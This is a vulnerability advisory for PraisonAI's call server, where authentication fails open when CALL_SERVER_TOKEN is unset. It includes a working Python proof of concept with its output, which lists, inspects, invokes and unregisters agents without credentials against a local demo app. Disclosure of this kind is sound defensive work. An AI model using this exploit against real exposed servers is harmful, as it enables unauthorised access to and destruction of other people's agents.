Advisory

PYSEC-2026-466

Also known as: CVE-2026-47396, GHSA-86qc-r5v2-v6x6

Summary

PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset

Details

Summary

PraisonAI's call server exposes a network-facing agent control API without authentication when CALL_SERVER_TOKEN is not configured.

The affected component is the praisonai.api.agent_invoke router as mounted by praisonai.api.call. The authentication helper verify_token() fails open when CALL_SERVER_TOKEN is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.

This is security-relevant because the bundled call server includes the vulnerable router and binds to 0.0.0.0. As a result, operators who launch the call server without explicitly setting CALL_SERVER_TOKEN may unintentionally expose an unauthenticated remote agent control plane.

Details

The vulnerable behavior is caused by a fail-open authentication default.

In praisonai/api/agent_invoke.py, CALL_SERVER_TOKEN is read from the environment:

CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')

The authentication dependency then returns successfully when the token is not configured:

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
    if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:
        return  # No authentication if FastAPI unavailable or no token set

This means that the absence of CALL_SERVER_TOKEN disables authentication entirely.

The same helper is used by sensitive agent-control routes, including:

@router.post("/agents/{agent_id}/invoke")
async def invoke_agent(..., _: None = Depends(verify_token))

@router.get("/agents")
async def list_agents(_: None = Depends(verify_token))

@router.delete("/agents/{agent_id}")
async def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))

@router.get("/agents/{agent_id}")
async def get_agent_info(agent_id: str, _: None = Depends(verify_token))

These endpoints allow a caller to:

  • list registered agents;
  • retrieve agent metadata;
  • retrieve agent instruction text;
  • invoke agents;
  • unregister agents.

The vulnerable router is mounted by the call server:

from .agent_invoke import router as agent_invoke_router
app.include_router(agent_invoke_router)

The call server then listens on all interfaces:

uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")

Therefore, when praisonai-call is started without CALL_SERVER_TOKEN, the agent-control API becomes reachable without authentication from any client that can access the server.

PoC

The following local PoC imports the real praisonai.api.agent_invoke router from source, ensures CALL_SERVER_TOKEN is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.

The PoC proves that, without sending any authentication material:

  1. GET /api/v1/agents returns the list of registered agents.
  2. GET /api/v1/agents/{agent_id} exposes agent metadata and instructions.
  3. POST /api/v1/agents/{agent_id}/invoke executes the registered agent.
  4. DELETE /api/v1/agents/{agent_id} unregisters the agent.

Run with:

PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py

Full PoC:

#!/usr/bin/env python3
from __future__ import annotations

import os
import sys
from pathlib import Path
from types import SimpleNamespace


REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PRAISON_ROOT = REPO_ROOT / "src" / "praisonai"


def verify_source() -> None:
    expected = {
        PRAISON_ROOT / "praisonai/api/agent_invoke.py": [
            "CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')",
            "if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:",
            '@router.post("/agents/{agent_id}/invoke")',
            '@router.get("/agents")',
            '@router.delete("/agents/{agent_id}")',
            '@router.get("/agents/{agent_id}")',
        ],
        PRAISON_ROOT / "praisonai/api/call.py": [
            "app.include_router(agent_invoke_router)",
            'uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")',
        ],
    }

    for path, needles in expected.items():
        if not path.exists():
            raise RuntimeError(f"source verification failed: file not found: {path}")

        text = path.read_text(encoding="utf-8")
        for needle in needles:
            if needle not in text:
                raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")


class DemoAgent:
    name = "demo-agent"
    instructions = "super-secret instructions"
    tools = [SimpleNamespace(name="danger-tool")]

    def start(self, message: str) -> str:
        return f"echo:{message}"
 

def main() -> int:
    verify_source()

    os.environ.pop("CALL_SERVER_TOKEN", None)
    sys.path.insert(0, str(PRAISON_ROOT))

    from fastapi import FastAPI
    from fastapi.testclient import TestClient
    from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router

    app = FastAPI()
    app.include_router(router)

    register_agent("demo", DemoAgent())

    client = TestClient(app)

    list_resp = client.get("/api/v1/agents")
    info_resp = client.get("/api/v1/agents/demo")
    invoke_resp = client.post("/api/v1/agents/demo/invoke", json={"message": "hello"})
    delete_resp = client.delete("/api/v1/agents/demo")

    print(f"[poc] token_configured={bool(CALL_SERVER_TOKEN)}")
    print(f"[poc] list_status={list_resp.status_code} body={list_resp.json()}")
    print(f"[poc] info_status={info_resp.status_code} body={info_resp.json()}")
    print(f"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}")
    print(f"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}")

    if CALL_SERVER_TOKEN:
        raise SystemExit("[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process")

    if list_resp.status_code != 200 or "demo" not in list_resp.json().get("agents", []):
        raise SystemExit("[poc] MISS: unauthenticated agent listing failed")

    if info_resp.status_code != 200 or info_resp.json().get("instructions") != "super-secret instructions":
        raise SystemExit("[poc] MISS: unauthenticated agent info leak failed")

    if invoke_resp.status_code != 200 or invoke_resp.json().get("result" ) != "echo:hello":
        raise SystemExit("[poc] MISS: unauthenticated agent invocation failed")

    if delete_resp.status_code != 200:
        raise SystemExit("[poc] MISS: unauthenticated agent unregister failed")

    print("[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Observed result:

[poc] token_configured=False
[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}
[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']}
[poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}
[poc] delete_status=200 body={'message': "Agent 'demo' unregistered successfully", 'status': 'success'}
 [poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent

Severity

Critical Basis: CVSS v3 score 9.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Dates

Published
2026-06-29 11:50 UTC
Modified
2026-07-13 16:15 UTC

Affected packages and fixes

praisonai

PyPI · All systems

Affected

  • introduced 0, fixed 4.6.40 (ecosystem)

Fixed versions

4.6.40

Fix

  • Fixed version 4.6.40
    pip install --upgrade praisonai==4.6.40

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Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences